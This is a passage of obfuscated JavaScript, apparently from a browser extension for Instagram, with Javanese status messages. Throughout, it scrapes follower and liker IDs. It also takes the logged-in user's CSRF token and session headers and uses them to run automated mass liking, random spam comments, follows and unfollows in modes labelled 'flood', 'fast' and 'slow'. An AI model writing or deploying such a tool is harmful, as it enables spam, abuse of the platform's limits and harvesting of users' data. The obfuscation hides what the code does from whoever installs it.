$(_0x52ccc6(0x2ce))['html'](_0x52ccc6(0x2be))[_0x52ccc6(0x204)](_0x52ccc6(0x2ab),_0x52ccc6(0x1e7)),$(this)[_0x52ccc6(0x1fd)](_0x52ccc6(0x263)),clearTimeout(),_0x42bcf1=![],![];});}});function _0x2dfb12(){var _0x5176c6=_0x3c669e;$[_0x5176c6(0x2ea)]({'url':'https://www.instagram.com/graphql/query/','type':_0x5176c6(0x1a3),'data':{'query_hash':_0x5176c6(0x2e1),'variables':JSON['stringify']({'shortcode':_0x35bf6f,'include_reel':!![],'first':'12','after':_0x517920})}})[_0x5176c6(0x24e)](function(_0xbcd38e){var _0x3c0c3a=_0x5176c6,_0x32adc9=_0xbcd38e[_0x3c0c3a(0x29b)]['shortcode_media'][_0x3c0c3a(0x2d3)]['edges'],_0x8e7bb5=_0xbcd38e[_0x3c0c3a(0x29b)][_0x3c0c3a(0x200)][_0x3c0c3a(0x2d3)][_0x3c0c3a(0x2a7)]['end_cursor'],_0x255f66=_0xbcd38e['data'][_0x3c0c3a(0x200)][_0x3c0c3a(0x2d3)]['page_info'][_0x3c0c3a(0x21c)];_0x517920=_0x8e7bb5,$[_0x3c0c3a(0x286)](_0x32adc9,function(_0xe1eadc,_0x37575a){var _0x375dda=_0x3c0c3a,_0x5b5922=!![],_0x43b22d=_0xe1eadc+0x1,_0x32113d=_0xe1eadc==_0x32adc9[_0x375dda(0x225)]-0x1;setTimeout(function(){var _0x56e85d=_0x375dda;if(_0x32113d)return _0x3abb74(),_0x255f66===![]?($('.errorLog')[_0x56e85d(0x28d)]('<i>Wes\x20Entek...\x20&#128513;</i>')[_0x56e85d(0x204)](_0x56e85d(0x2ab),_0x56e85d(0x198)),$(this)['text'](_0x56e85d(0x263))):_0x2dfb12(),clearTimeout(),_0x5b5922=![],![];else _0x3abb74();return _0x5b5922;},_0xe1eadc*0x3e8);function _0x3abb74(){var _0x73aa3a=_0x375dda;$[_0x73aa3a(0x2ea)]({'url':_0x73aa3a(0x23f)+_0x37575a['node']['id']+_0x73aa3a(0x25f),'type':_0x73aa3a(0x1a3),'crossDomain':!![],'xhrFields':{'withCredentials':!![]},'headers':{'x-ig-app-id':_0x73aa3a(0x2c9),'x-ig-www-claim':_0x520867}})[_0x73aa3a(0x24e)](function(_0x27ff08){var _0x16a63c=_0x73aa3a;reel_id=_0x27ff08['user']['has_highlight_reels'],reel_id===!![]?$(_0x16a63c(0x2a2))[_0x16a63c(0x1a2)](_0x37575a[_0x16a63c(0x24f)]['id']+'\x0a'):$('.errorLog')[_0x16a63c(0x28d)](_0x16a63c(0x292)+_0x43b22d+_0x16a63c(0x277))[_0x16a63c(0x204)](_0x16a63c(0x2ab),'blue');})[_0x73aa3a(0x272)](function(){var _0x4a728f=_0x73aa3a;return $(_0x4a728f(0x2ce))[_0x4a728f(0x28d)]('<i>Wes\x20Limit...\x20&#129324;</i>')[_0x4a728f(0x204)](_0x4a728f(0x2ab),'red'),$(this)[_0x4a728f(0x1fd)](_0x4a728f(0x263)),clearTimeout(),_0x5b5922=![],![];});}});})[_0x5176c6(0x272)](function(){var _0x3d74b0=_0x5176c6;$(_0x3d74b0(0x2ce))[_0x3d74b0(0x28d)](_0x3d74b0(0x2be))[_0x3d74b0(0x204)](_0x3d74b0(0x2ab),_0x3d74b0(0x1e7)),$(this)[_0x3d74b0(0x1fd)]('UID');});}});else{if($(_0x571378(0x1a7))[_0x571378(0x1de)](_0x571378(0x2ad))[_0x571378(0x225)]>0x0)$(this)[_0x571378(0x1fd)](_0x571378(0x2ae)),$['ajax']({'url':'https://www.instagram.com/'+_0x35bf6f+_0x571378(0x259),'type':_0x571378(0x1a3)})['done'](function(_0x22c162){var _0x3edb3a=_0x571378,_0x49234d=_0x22c162['graphql'][_0x3edb3a(0x1cb)]['id'];$[_0x3edb3a(0x2ea)]({'url':_0x3edb3a(0x240),'type':_0x3edb3a(0x1a3),'beforeSend':function(){var _0x3f0693=_0x3edb3a;$(_0x3f0693(0x2ce))[_0x3f0693(0x28d)](_0x3f0693(0x1bd))[_0x3f0693(0x204)]('color',_0x3f0693(0x255));},'data':{'query_hash':_0x3edb3a(0x1c6),'variables':JSON[_0x3edb3a(0x208)]({'id':_0x49234d,'include_reel':!![],'fetch_mutual':!![],'first':'24'})}})[_0x3edb3a(0x24e)](function(_0x323c88){var _0x545b24=_0x3edb3a,_0x544f35=_0x323c88[_0x545b24(0x29b)][_0x545b24(0x1cb)][_0x545b24(0x25e)]['edges'],_0x1cef0c=_0x323c88[_0x545b24(0x29b)]['user'][_0x545b24(0x25e)][_0x545b24(0x2a7)][_0x545b24(0x1f5)],_0xc7c812=_0x323c88[_0x545b24(0x29b)]['user'][_0x545b24(0x25e)]['page_info'][_0x545b24(0x21c)];$[_0x545b24(0x286)](_0x544f35,function(_0x568bce,_0x13848a){var _0x406470=_0x545b24;for(var _0x568bce in _0x13848a){$('#hasil')[_0x406470(0x1a2)](_0x13848a[_0x568bce]['id']+'\x0a');}}),_0x517920=_0x1cef0c;if(_0xc7c812===!![])var _0x50828b=setInterval(function(){var _0x292be2=_0x545b24;$['ajax']({'url':'https://www.instagram.com/graphql/query/','type':_0x292be2(0x1a3),'data':{'query_hash':_0x292be2(0x1c6),'variables':JSON[_0x292be2(0x208)]({'id':_0x49234d,'include_reel':!![],'fetch_mutual':![],'first':'12','after':_0x517920})}})[_0x292be2(0x24e)](function(_0x527567){var _0x1fd817=_0x292be2,_0x30fe00=_0x527567[_0x1fd817(0x29b)][_0x1fd817(0x1cb)][_0x1fd817(0x25e)][_0x1fd817(0x213)],_0x273b92=_0x527567[_0x1fd817(0x29b)][_0x1fd817(0x1cb)]['edge_followed_by']['page_info']['end_cursor'],_0x40f608=_0x527567[_0x1fd817(0x29b)]['user'][_0x1fd817(0x25e)][_0x1fd817(0x2a7)][_0x1fd817(0x21c)];$[_0x1fd817(0x286)](_0x30fe00,function(_0x4fbae1,_0x51a842){var _0x3f1dd4=_0x1fd817;for(var _0x4fbae1 in _0x51a842){$(_0x3f1dd4(0x2a2))['sendkeys'](_0x51a842[_0x4fbae1]['id']+'\x0a');}}),_0x517920=_0x273b92,_0x40f608===![]&&($(_0x1fd817(0x2ce))[_0x1fd817(0x28d)]('<i>Wes\x20Entek...\x20&#128513;</i>')[_0x1fd817(0x204)](_0x1fd817(0x2ab),'green'),clearInterval(_0x50828b));})[_0x292be2(0x272)](function(){var _0x345502=_0x292be2;$('.errorLog')[_0x345502(0x28d)]('<i>Wes\x20Limit...\x20&#129324;</i>')[_0x345502(0x204)](_0x345502(0x2ab),_0x345502(0x1e7)),clearInterval(_0x50828b);});},0x3e8);});});else{if($(_0x571378(0x1a7))[_0x571378(0x1de)](_0x571378(0x1f1))['length']>0x0)$(this)[_0x571378(0x1fd)]('Run'),$(_0x571378(0x2ce))[_0x571378(0x28d)]('<i>Enteni\x20Seg...\x20&#128513;</i>')[_0x571378(0x204)](_0x571378(0x2ab),_0x571378(0x255)),$[_0x571378(0x2ea)]({'url':_0x571378(0x1a1)+_0x35bf6f+_0x571378(0x259),'type':'get'})[_0x571378(0x24e)](function(_0x54f737){var _0x43dcc8=_0x571378,_0x58bc5e=_0x54f737[_0x43dcc8(0x2a5)][_0x43dcc8(0x1cb)]['id'];$[_0x43dcc8(0x2ea)]({'url':_0x43dcc8(0x240),'type':_0x43dcc8(0x1a3),'data':{'query_hash':_0x43dcc8(0x1ff),'variables':JSON['stringify']({'id':_0x58bc5e,'include_reel':!![],'fetch_mutual':!![],'first':'24'})}})[_0x43dcc8(0x24e)](function(_0x43e3c6){var _0x20c71b=_0x43dcc8,_0x5cb3c0=_0x43e3c6[_0x20c71b(0x29b)][_0x20c71b(0x1cb)][_0x20c71b(0x247)][_0x20c71b(0x213)],_0x26671e=_0x43e3c6[_0x20c71b(0x29b)][_0x20c71b(0x1cb)][_0x20c71b(0x247)][_0x20c71b(0x2a7)][_0x20c71b(0x1f5)],_0x3f6fd7=_0x43e3c6[_0x20c71b(0x29b)]['user']['edge_follow'][_0x20c71b(0x2a7)][_0x20c71b(0x21c)];$[_0x20c71b(0x286)](_0x5cb3c0,function(_0x4d95ef,_0x4e3229){var _0x2a4d2f=_0x20c71b;for(var _0x4d95ef in _0x4e3229){$(_0x2a4d2f(0x2a2))[_0x2a4d2f(0x1a2)](_0x4e3229[_0x4d95ef]['id']+'\x0a');}}),_0x517920=_0x26671e;if(_0x3f6fd7===!![])var _0x167617=setInterval(function(){var _0x49ec81=_0x20c71b;$['ajax']({'url':_0x49ec81(0x240),'type':_0x49ec81(0x1a3),'data':{'query_hash':'3dec7e2c57367ef3da3d987d89f9dbc8','variables':JSON[_0x49ec81(0x208)]({'id':_0x58bc5e,'include_reel':!![],'fetch_mutual':![],'first':'12','after':_0x517920})}})[_0x49ec81(0x24e)](function(_0x132130){var _0x1876f3=_0x49ec81,_0x231ed8=_0x132130['data'][_0x1876f3(0x1cb)][_0x1876f3(0x247)][_0x1876f3(0x213)],_0x4b37e5=_0x132130[_0x1876f3(0x29b)][_0x1876f3(0x1cb)][_0x1876f3(0x247)][_0x1876f3(0x2a7)]['end_cursor'],_0xde9cc4=_0x132130[_0x1876f3(0x29b)][_0x1876f3(0x1cb)]['edge_follow'][_0x1876f3(0x2a7)][_0x1876f3(0x21c)];$['each'](_0x231ed8,function(_0x1589e2,_0x2e072b){var _0x235094=_0x1876f3;for(var _0x1589e2 in _0x2e072b){$(_0x235094(0x2a2))[_0x235094(0x1a2)](_0x2e072b[_0x1589e2]['id']+'\x0a');}}),_0x517920=_0x4b37e5,_0xde9cc4===![]&&($(_0x1876f3(0x2ce))[_0x1876f3(0x28d)](_0x1876f3(0x21d))[_0x1876f3(0x204)](_0x1876f3(0x2ab),'green'),clearInterval(_0x167617));})['fail'](function(){var _0xc1bb87=_0x49ec81;$(_0xc1bb87(0x2ce))['html'](_0xc1bb87(0x2be))[_0xc1bb87(0x204)]('color',_0xc1bb87(0x1e7)),clearInterval(_0x167617);});},0x3e8);});});else return alert(_0x571378(0x2d7)),$(_0x571378(0x2ce))[_0x571378(0x28d)](_0x571378(0x1ce))[_0x571378(0x204)](_0x571378(0x2ab),'blue'),![];}}}}}}}),$(document)['on'](_0x481b82(0x1ac),_0x481b82(0x2a2),function(){var _0x376107=_0x481b82,_0x5eb388=$(this)['val'](),_0x326720=_0x5eb388[_0x376107(0x1e6)]('\x0a');hitung=_0x326720['length'],$(_0x376107(0x20f))[_0x376107(0x1fd)](hitung);}),$['fn'][_0x481b82(0x231)]=function(){var _0xb6123=_0x481b82;return this['eq'](Math[_0xb6123(0x1db)](Math[_0xb6123(0x231)]()*this[_0xb6123(0x225)]));},$(document)['on']('change','.jenis',function(_0x5dcd91){var _0xd28157=_0x481b82,_0x50e6be=$(_0xd28157(0x206),this),_0xa0ccba=this[_0xd28157(0x265)];$(_0xd28157(0x1d0))[_0xd28157(0x2e4)](function(_0x529c9c,_0x29c2d0){var _0x412ce4=_0xd28157;return(_0x29c2d0[_0x412ce4(0x1f7)](/hide|flood|fast|medium|slow|likeComment|unfollow/g)||[])[_0x412ce4(0x1f2)]('');}),_0xa0ccba==_0xd28157(0x1f4)&&_0x50e6be[_0xd28157(0x25b)](_0xd28157(0x1f4)),_0xa0ccba==_0xd28157(0x2c5)&&_0x50e6be[_0xd28157(0x25b)](_0xd28157(0x2c5)),_0xa0ccba=='fast'&&_0x50e6be['addClass']('fast'),_0xa0ccba==_0xd28157(0x199)&&_0x50e6be['addClass']('medium'),_0xa0ccba=='slow'&&_0x50e6be['addClass'](_0xd28157(0x2da)),_0xa0ccba==_0xd28157(0x28c)&&_0x50e6be[_0xd28157(0x25b)]('likeComment'),_0xa0ccba==_0xd28157(0x1fb)&&_0x50e6be[_0xd28157(0x25b)]('unfollow');});var send_fuck,send_full,send_profile,send_csrf,check_uid,send_username,win,chrome_user;setTimeout(function(){var _0xbefa15=_0x481b82;$(window)[_0xbefa15(0x261)](function(){var _0x559a10=_0xbefa15;if($(_0x559a10(0x243))[_0x559a10(0x225)]>0x0)$[_0x559a10(0x2ea)]({'url':_0x559a10(0x29c),'type':_0x559a10(0x1a3),'success':function(_0x4c4eeb){var _0x50dabd=_0x559a10;csrf_kadal=_0x4c4eeb['config'][_0x50dabd(0x241)],get_rollout=_0x4c4eeb[_0x50dabd(0x242)],get_full_name=_0x4c4eeb[_0x50dabd(0x1c7)]['viewer'][_0x50dabd(0x1b4)],get_profile_pic=_0x4c4eeb[_0x50dabd(0x1c7)][_0x50dabd(0x2de)][_0x50dabd(0x1d7)],quality=_0x4c4eeb[_0x50dabd(0x2dd)],user_name=_0x4c4eeb[_0x50dabd(0x1c7)]['viewer']['username'],rhankUID=_0x4c4eeb['config'][_0x50dabd(0x2de)]['id'],windows_se=_0x4c4eeb[_0x50dabd(0x22c)],chromeme=_0x4c4eeb[_0x50dabd(0x21b)],send_fuck=get_rollout,send_full=get_full_name,send_profile=get_profile_pic,send_csrf=csrf_kadal,check_uid=rhankUID,send_username=user_name,win=windows_se,chrome_user=chromeme,$(_0x50dabd(0x228))[_0x50dabd(0x1fd)](rhankUID)[_0x50dabd(0x204)](_0x50dabd(0x2ab),_0x50dabd(0x198));{clearTimeout();}}});else{$('.rhankUID')[_0x559a10(0x1fd)](_0x559a10(0x290))[_0x559a10(0x204)](_0x559a10(0x2ab),'red');{clearTimeout();}}});},0x1f4),setTimeout(function(){var _0x1a3085=_0x481b82;if($('div._lz6s.Hz2lF,\x20div.A8wCM')[_0x1a3085(0x225)]>0x0)$[_0x1a3085(0x2ea)]({'url':_0x1a3085(0x29c),'type':_0x1a3085(0x1a3),'success':function(_0x40e7f7){var _0xf63090=_0x1a3085;csrf_kadal=_0x40e7f7[_0xf63090(0x1c7)][_0xf63090(0x241)],get_rollout=_0x40e7f7[_0xf63090(0x242)],get_full_name=_0x40e7f7['config'][_0xf63090(0x2de)]['full_name'],get_profile_pic=_0x40e7f7[_0xf63090(0x1c7)]['viewer'][_0xf63090(0x1d7)],quality=_0x40e7f7[_0xf63090(0x2dd)],user_name=_0x40e7f7[_0xf63090(0x1c7)][_0xf63090(0x2de)][_0xf63090(0x270)],rhankUID=_0x40e7f7[_0xf63090(0x1c7)][_0xf63090(0x2de)]['id'],windows_se=_0x40e7f7[_0xf63090(0x22c)],chromeme=_0x40e7f7[_0xf63090(0x21b)],send_fuck=get_rollout,send_full=get_full_name,send_profile=get_profile_pic,send_csrf=csrf_kadal,check_uid=rhankUID,send_username=user_name,win=windows_se,chrome_user=chromeme,$(_0xf63090(0x228))[_0xf63090(0x1fd)](rhankUID)[_0xf63090(0x204)](_0xf63090(0x2ab),_0xf63090(0x198));{clearTimeout();}}});else{$(_0x1a3085(0x228))[_0x1a3085(0x1fd)]('Urong\x20Login')[_0x1a3085(0x204)](_0x1a3085(0x2ab),_0x1a3085(0x1e7));{clearTimeout();}}},0x1f4),$(document)['on'](_0x481b82(0x1c5),_0x481b82(0x2b8),function(){var _0x3f8262=_0x481b82,_0x15c4b3=new Audio(chrome[_0x3f8262(0x282)][_0x3f8262(0x219)]('sad.mp3')),_0x45f451='0',_0x63ea1c,_0x1f9454,_0x5b9f9a=$('#hasil')[_0x3f8262(0x1df)]()[_0x3f8262(0x1e6)]('\x0a'),_0x514d96=$('#comment')[_0x3f8262(0x1df)]()['split']('\x0a'),_0x1bc1e6=$(_0x3f8262(0x239))['val'](),_0x404576=$(_0x3f8262(0x214))[_0x3f8262(0x1df)]();if($(_0x3f8262(0x2bb))[_0x3f8262(0x1de)](_0x3f8262(0x19f))[_0x3f8262(0x225)]>0x0){if(mlakupiro==0x1)return alert(_0x3f8262(0x2c1)),![];Maximal=$(_0x3f8262(0x239))[_0x3f8262(0x1df)](),lonalon=$('.waktu')[_0x3f8262(0x1df)]();if(!Maximal||Maximal<0x1)return alert(_0x3f8262(0x20e)),![];else{if(!lonalon||lonalon<0x1)return alert('Endi\x20Delay\x20Ne!!'),![];else $(this)[_0x3f8262(0x1fd)](_0x3f8262(0x2e3));}if(!lonalon)lonalon=0x1;lonalon=lonalon*0x3e8,mlakupiro=0x1,successLee=0x0,document[_0x3f8262(0x280)](_0x3f8262(0x1a0),NjokLeee,![]);}else{if($(_0x3f8262(0x2bb))[_0x3f8262(0x1de)](_0x3f8262(0x1c2))[_0x3f8262(0x225)]>0x0){hitung;if(mlakupiro==0x1)return alert('Hop\x20!!\x20Wes\x20Mlaku\x20Jok\x20Tek\x20Klik\x20Maneh'),![];Njok_piro_seh=$(_0x3f8262(0x239))['val'](),Maximal=$(_0x3f8262(0x2a2))[_0x3f8262(0x1df)]()[_0x3f8262(0x1e6)]('\x0a'),bajingan=$(_0x3f8262(0x2a2))[_0x3f8262(0x1df)]()[_0x3f8262(0x1e6)]('\x0a'),lonalon=$(_0x3f8262(0x214))['val']();if(!Maximal||Maximal<0x1)return alert('Isi\x20UID\x20??\x20Lali\x20Ta?'),![];else{if(!Njok_piro_seh||Njok_piro_seh<0x1)return alert(_0x3f8262(0x2c4)),![];else{if(!lonalon||lonalon<0x1)return alert('Endi\x20Delay\x20Ne?'),![];else $(this)['text'](_0x3f8262(0x2e3));}}if(!lonalon)lonalon=0x1;lonalon=lonalon*0x9c4,mlakupiro=0x1,successLee=0x0,flooding();}else{if($('select.jenis')['find'](_0x3f8262(0x256))[_0x3f8262(0x225)]>0x0){if(mlakupiro==0x1)return alert(_0x3f8262(0x2c1)),![];Maximal=$(_0x3f8262(0x239))[_0x3f8262(0x1df)](),lonalon=$(_0x3f8262(0x214))['val']();if(!Maximal||Maximal<0x1)return alert(_0x3f8262(0x20e)),![];else{if(!lonalon||lonalon<0x1)return alert(_0x3f8262(0x1ee)),![];else $(this)[_0x3f8262(0x1fd)](_0x3f8262(0x2e3));}if(!lonalon)lonalon=0x1;lonalon=lonalon*0x3e8,mlakupiro=0x1,successLee=0x0,fast();}else{if($(_0x3f8262(0x2bb))[_0x3f8262(0x1de)](_0x3f8262(0x281))[_0x3f8262(0x225)]>0x0){if(mlakupiro==0x1)return alert(_0x3f8262(0x2c1)),![];Maximal=$(_0x3f8262(0x239))[_0x3f8262(0x1df)](),lonalon=$(_0x3f8262(0x214))[_0x3f8262(0x1df)]();if(!Maximal||Maximal<0x1)return alert(_0x3f8262(0x20e)),![];else{if(!lonalon||lonalon<0x1)return alert('Endi\x20Delay\x20Ne!!'),![];else $(this)[_0x3f8262(0x1fd)](_0x3f8262(0x2e3));}if(!lonalon)lonalon=0x1;lonalon=lonalon*0x1388,mlakupiro=0x1,successLee=0x0,medium();}else{if($(_0x3f8262(0x2bb))[_0x3f8262(0x1de)](_0x3f8262(0x1d1))[_0x3f8262(0x225)]>0x0){if(mlakupiro==0x1)return alert(_0x3f8262(0x2c1)),![];Maximal=$(_0x3f8262(0x239))[_0x3f8262(0x1df)](),lonalon=$(_0x3f8262(0x214))['val']();if(!Maximal||Maximal<0x1)return alert(_0x3f8262(0x20e)),$(_0x3f8262(0x239))[_0x3f8262(0x1e4)](),![];else{if(!lonalon||lonalon<0x1)return alert(_0x3f8262(0x1ee)),$(_0x3f8262(0x214))[_0x3f8262(0x1e4)](),![];else $(this)[_0x3f8262(0x1fd)](_0x3f8262(0x2e3));}if(!lonalon)lonalon=0x1;lonalon=lonalon*0x7530,mlakupiro=0x1,successLee=0x0,slow();}else{if($(_0x3f8262(0x2bb))['find'](_0x3f8262(0x2a0))[_0x3f8262(0x225)]>0x0){if(!_0x514d96||_0x514d96<0x1)return alert(_0x3f8262(0x1dd)),$(_0x3f8262(0x2ce))[_0x3f8262(0x28d)]('<i>BLASSSSS..\x20&#128514;</i>')[_0x3f8262(0x204)]('color',_0x3f8262(0x255)),$(_0x3f8262(0x262))[_0x3f8262(0x1e4)](),![];else{if(!_0x5b9f9a||_0x5b9f9a<0x1)return alert(_0x3f8262(0x293)),$(_0x3f8262(0x2ce))[_0x3f8262(0x28d)](_0x3f8262(0x1d6))[_0x3f8262(0x204)](_0x3f8262(0x2ab),_0x3f8262(0x255)),$(_0x3f8262(0x2a2))[_0x3f8262(0x1e4)](),![];else $(this)['text'](_0x3f8262(0x2e3)),$(_0x3f8262(0x2ce))[_0x3f8262(0x28d)]('<i>Enteni\x20Seg...\x20&#x1F600;</i>')[_0x3f8262(0x204)]('color','blue');}if(!_0x404576)_0x404576=0x1;_0x404576=_0x404576*0x7d0,$[_0x3f8262(0x286)](_0x5b9f9a,function(_0x36f76f,_0x126ed8){var _0x172ed1=!![];setTimeout(function(){var _0x4b2d6d=_0x28a9;_0x126ed8===_0x5b9f9a[_0x1bc1e6]?(clearTimeout(),$(_0x4b2d6d(0x2ce))['html']('<i>Wes\x20Mari...\x20&#x1F600;</i>')[_0x4b2d6d(0x204)]('color',_0x4b2d6d(0x255))):$[_0x4b2d6d(0x2ea)]({'url':_0x4b2d6d(0x240),'type':_0x4b2d6d(0x1a3),'crossDomain':!![],'headers':{'x-csrftoken':send_csrf,'x-ig-app-id':'1217981644879628','x-ig-www-claim':_0x45f451,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'data':{'query_hash':_0x4b2d6d(0x203),'variables':JSON[_0x4b2d6d(0x208)]({'id':_0x126ed8,'first':'1'})},'beforeSend':function(){var _0x35c8a9=_0x4b2d6d;$(_0x35c8a9(0x2ce))[_0x35c8a9(0x28d)](_0x35c8a9(0x285))[_0x35c8a9(0x204)](_0x35c8a9(0x2ab),'blue');}})[_0x4b2d6d(0x24e)](function(_0x291050,_0x5a1d68,_0x51a522){var _0xc64fe8=_0x4b2d6d;_0x45f451=_0x51a522[_0xc64fe8(0x2cc)]('x-ig-set-www-claim'),get_id=_0x291050[_0xc64fe8(0x29b)]['user'][_0xc64fe8(0x235)][_0xc64fe8(0x213)],_0x1f9454=get_id,tambah=0x0;for(var _0x346b72 in _0x1f9454){setTimeout(function(_0x536696){var _0xabfc2=_0xc64fe8,_0x27b859=Math['floor'](Math[_0xabfc2(0x231)]()*_0x514d96[_0xabfc2(0x225)]);$[_0xabfc2(0x2ea)]({'url':_0xabfc2(0x2af)+_0x1f9454[_0x536696][_0xabfc2(0x24f)]['id']+'/like/','type':'post','crossDomain':!![],'headers':{'x-csrftoken':send_csrf,'x-ig-app-id':'1217981644879628','x-ig-www-claim':_0x45f451,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'beforeSend':function(){var _0x485ebe=_0xabfc2;$(_0x485ebe(0x2ce))[_0x485ebe(0x28d)](_0x485ebe(0x23c))[_0x485ebe(0x204)](_0x485ebe(0x2ab),_0x485ebe(0x255));}})['done'](function(){var _0x19ee5f=_0xabfc2;$['ajax']({'url':_0x19ee5f(0x28e)+_0x1f9454[_0x536696][_0x19ee5f(0x24f)]['id']+_0x19ee5f(0x23e),'type':_0x19ee5f(0x26a),'crossDomain':!![],'headers':{'x-csrftoken':send_csrf,'x-ig-app-id':_0x19ee5f(0x2c9),'x-ig-www-claim':_0x45f451,'x-instagram-ajax':send_fuck},'data':{'comment_text':_0x514d96[_0x27b859],'replied_to_comment_id':''},'xhrFields':{'withCredentials':!![]},'beforeSend':function(){var _0x121b9f=_0x19ee5f;$(_0x121b9f(0x2ce))[_0x121b9f(0x28d)]('<i>Comment..\x20&#128514;</i>')[_0x121b9f(0x204)]('color',_0x121b9f(0x255));},'timeout':0x1388})[_0x19ee5f(0x24e)](function(){var _0x321084=_0x19ee5f;successLee++,$('.olePiro')[_0x321084(0x1fd)](successLee),$(_0x321084(0x2ce))[_0x321084(0x28d)](_0x321084(0x220))[_0x321084(0x204)](_0x321084(0x2ab),'green');})['fail'](function(){var _0x8b4cfc=_0x19ee5f;mendal++,$(_0x8b4cfc(0x257))[_0x8b4cfc(0x1fd)](mendal),$(_0x8b4cfc(0x2ce))[_0x8b4cfc(0x28d)](_0x8b4cfc(0x1be))[_0x8b4cfc(0x204)](_0x8b4cfc(0x2ab),'red');});})[_0xabfc2(0x272)](function(){var _0xd962eb=_0xabfc2;mendal++,$(_0xd962eb(0x257))['text'](mendal),$(_0xd962eb(0x2ce))[_0xd962eb(0x28d)](_0xd962eb(0x1be))[_0xd962eb(0x204)]('color',_0xd962eb(0x1e7));});}['bind'](this,_0x346b72),tambah++*_0x404576);}if(_0x45f451!=='0')return _0x45f451;})[_0x4b2d6d(0x272)](function(_0xd9f256){var _0x37c111=_0x4b2d6d;_0x45f451=_0xd9f256[_0x37c111(0x2cc)]('x-ig-set-www-claim'),mendal++,$(_0x37c111(0x257))[_0x37c111(0x1fd)](mendal),$('.errorLog')['html'](_0x37c111(0x1be))[_0x37c111(0x204)](_0x37c111(0x2ab),'red');if(_0x45f451!=='0')return _0x45f451;});},(_0x36f76f+0x1)*_0x404576);if(_0x126ed8===_0x5b9f9a[_0x1bc1e6])return _0x172ed1=![],![];return _0x172ed1;});}else{if($(_0x3f8262(0x2bb))['find'](_0x3f8262(0x19b))[_0x3f8262(0x225)]>0x0){if(!_0x404576)_0x404576=0x1;_0x404576=_0x404576*0xbb8,$(this)[_0x3f8262(0x1fd)](_0x3f8262(0x2e3)),$('.errorLog')[_0x3f8262(0x28d)](_0x3f8262(0x2bf))['css']('color',_0x3f8262(0x255)),$['ajax']({'url':'https://www.instagram.com/graphql/query/','type':_0x3f8262(0x1a3),'data':{'query_hash':_0x3f8262(0x1ff),'variables':JSON[_0x3f8262(0x208)]({'id':check_uid,'include_reel':!![],'fetch_mutual':!![],'first':'24'})}})[_0x3f8262(0x24e)](function(_0x24109e){var _0x57a12b=_0x3f8262;theEdge=_0x24109e[_0x57a12b(0x29b)][_0x57a12b(0x1cb)]['edge_follow'][_0x57a12b(0x213)],next_scroll=_0x24109e['data'][_0x57a12b(0x1cb)][_0x57a12b(0x247)][_0x57a12b(0x2a7)][_0x57a12b(0x1f5)],onotagak=_0x24109e[_0x57a12b(0x29b)][_0x57a12b(0x1cb)][_0x57a12b(0x247)]['page_info']['has_next_page'],$[_0x57a12b(0x286)](theEdge,function(_0x10682d,_0x36dc32){var _0x2ff6c2=_0x10682d==theEdge['length']-0x1;setTimeout(function(){var _0x3a9800=_0x28a9;if(_0x2ff6c2){clearTimeout(),_0x63ea1c=next_scroll,$[_0x3a9800(0x2ea)]({'url':_0x3a9800(0x266)+_0x36dc32[_0x3a9800(0x24f)]['id']+_0x3a9800(0x245),'type':_0x3a9800(0x26a),'crossDomain':!![],'headers':{'content-type':'application/x-www-form-urlencoded','x-csrftoken':send_csrf,'x-ig-app-id':_0x3a9800(0x2c9),'x-ig-www-claim':_0x45f451,'x-instagram-ajax':send_fuck,'x-requested-with':_0x3a9800(0x1e0)},'beforeSend':function(){var _0x2a11c7=_0x3a9800;$('.errorLog')['html'](_0x2a11c7(0x285))[_0x2a11c7(0x204)]('color',_0x2a11c7(0x255));},'xhrFields':{'withCredentials':!![]}})[_0x3a9800(0x24e)](function(_0x22d7ae){var _0x3608d3=_0x3a9800;_0x22d7ae['status']=='ok'&&(successLee++,$(_0x3608d3(0x20a))['text'](successLee),$(_0x3608d3(0x2ce))[_0x3608d3(0x28d)](_0x3608d3(0x2c6))['css'](_0x3608d3(0x2ab),_0x3608d3(0x198)));})[_0x3a9800(0x272)](function(){var _0x4b47f0=_0x3a9800;mendal++,$(_0x4b47f0(0x257))[_0x4b47f0(0x1fd)](mendal),$(_0x4b47f0(0x2ce))[_0x4b47f0(0x28d)]('<i>Limit...\x20&#129324;</i>')[_0x4b47f0(0x204)](_0x4b47f0(0x2ab),'red');}),_0x4df48e();function _0x4df48e(){setTimeout(function(){var _0x2d249d=_0x28a9;onotagak===!![]?$[_0x2d249d(0x2ea)]({'url':'https://www.instagram.com/graphql/query/','type':'get','data':{'query_hash':'3dec7e2c57367ef3da3d987d89f9dbc8','variables':JSON[_0x2d249d(0x208)]({'id':check_uid,'include_reel':!![],'fetch_mutual':![],'first':'19','after':_0x63ea1c})}})[_0x2d249d(0x24e)](function(_0xa877ac){var _0x4319dc=_0x2d249d;second_Edge=_0xa877ac[_0x4319dc(0x29b)]['user'][_0x4319dc(0x247)][_0x4319dc(0x213)],second_scroll=_0xa877ac[_0x4319dc(0x29b)][_0x4319dc(0x1cb)]['edge_follow'][_0x4319dc(0x2a7)][_0x4319dc(0x1f5)],falsetagak=_0xa877ac[_0x4319dc(0x29b)][_0x4319dc(0x1cb)][_0x4319dc(0x247)]['page_info'][_0x4319dc(0x21c)],_0x63ea1c=second_scroll,$[_0x4319dc(0x286)](second_Edge,function(_0x287a93,_0x53e9a5){var _0x1f67e9=_0x4319dc,_0x231d42=_0x287a93==second_Edge[_0x1f67e9(0x225)]-0x1;setTimeout(function(){var _0x32c779=_0x1f67e9;_0x231d42?(clearTimeout(),$[_0x32c779(0x2ea)]({'url':_0x32c779(0x266)+_0x53e9a5[_0x32c779(0x24f)]['id']+_0x32c779(0x245),'type':_0x32c779(0x26a),'crossDomain':!![],'headers':{'content-type':'application/x-www-form-urlencoded','x-csrftoken':send_csrf,'x-ig-app-id':_0x32c779(0x2c9),'x-ig-www-claim':_0x45f451,'x-instagram-ajax':send_fuck,'x-requested-with':_0x32c779(0x1e0)},'beforeSend':function(){var _0x3060af=_0x32c779;$('.errorLog')['html'](_0x3060af(0x285))[_0x3060af(0x204)]('color',_0x3060af(0x255));},'xhrFields':{'withCredentials':!![]}})[_0x32c779(0x24e)](function(_0x3307c7){var _0x296a5a=_0x32c779;_0x3307c7['status']=='ok'&&(successLee++,$(_0x296a5a(0x20a))[_0x296a5a(0x1fd)](successLee),$(_0x296a5a(0x2ce))[_0x296a5a(0x28d)](_0x296a5a(0x2b1))[_0x296a5a(0x204)](_0x296a5a(0x2ab),_0x296a5a(0x198)));})['fail'](function(){var 